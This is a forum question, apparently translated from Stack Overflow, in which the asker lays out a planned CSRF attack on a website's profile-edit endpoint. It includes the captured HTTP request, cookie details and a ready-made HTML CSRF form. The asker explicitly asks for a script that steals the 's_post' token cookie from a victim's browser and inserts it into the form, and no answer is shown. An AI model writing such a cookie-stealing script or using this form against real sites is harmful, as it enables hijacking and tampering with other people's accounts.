【发布时间】:2016-09-28 13:55:47
【问题描述】:
我想测试一个针对网站的 CSRF 漏洞(此处将其命名为 www.targetsite.com)。在更改帐户的个人信息时,会发送如下 HTTP 请求:
请求标头
http://www.targetsite.com/?area=EditPersonalInfo&force_wap=1
POST/HTTP/1.1
Host : www.targetsite.com
User-Agent : Mozilla/Firefox
Accept : text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language : en-US,en;q=0.5
Accept-Encoding : gzip, deflate
Referer : http://www.targetsite.com/?area=EditPersonalInfo&force_wap=1
Cookie : return_token=XXXXXXXXXXXXXXXX; mmbsid=XXXXXXXXXXXXX; s_post=XXXXXXXXXXXXXXX; mmbTracker=XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXx; mmbTrackerTarget=.targetsite.com; LOGIN=XXXXXXXXX; start_with_auth_form=1; mmbUID=XXXXXXXXXX; UID=XXXXXXXXX; mmbSECRET=XXXXXXXXXX; SECRET=XXXXXXX; LEVEL=Low; registered_once=1; mmbsid=XXXXXXXXXXXXXXXXX; unauth_lang=3
发布数据
s_post=xxxxxxxxxxxxxx&personal_name=Rogers&submitted=Save&force_wap=1
如果可以得到 POST DATA 中存在的“s_post”的值,那么他就可以轻松地对该网站进行 csrf 攻击。最主要的是“s_post”的值存在于用户登录时提供给用户的 cookie 中(cookie 的名称也是 s_post 并且它不是 httpOnly cookie)。因此,如果可以通过使用任何脚本获取名为“s_post”的 cookie 的值(存在于用户的浏览器中),那么他可以轻松执行 csrf(通过插入 cookie 的值代替 Post 数据的值"s_post=COOKIE VALUE GOES HERE &personal_name=DESIREDNAME HEREs&submitted=Save&force_wap=1" )....我想要一个脚本来窃取存储在受害者浏览器中的名为 "s_post" 的 cookie 的值...
cookie的详细信息如下:
Name : s_post
Value : XXXXXXXXXXXXXXXXXXXXX
Host : .www.targetsite.com
Path : /
Expires At : At End Of Session
Secure : No
HTTP Only : No
这是我将用于执行 csrf 的表单:
<form name="csrf_form" method="POST" action="http://m.targetsite.com/?area=EditPersonalInfo&force_wap=1">
<input type="text" id="s_post" name="s_post" value="HERE I WANT THE VALUE OF A COOKIE NAMED s_post">
<input type="text" id="personal_name" name="personal_name" value="Steve">
<input type="text" id="submitted" name="submitted" value="Save">
<input type="text" id="force_wap" name="force_wap" value="1">
</form>
请帮帮我...如果有脚本可以窃取 cookie 的值并自动将其值放入 html 表单中,请在下面发表评论...。 或者请给我一个只会窃取 cookie 价值的脚本...
提前致谢:)
【问题讨论】:
-
Java != Javascript
-
请不要大喊大叫。
标签: javascript html cookies httprequest csrf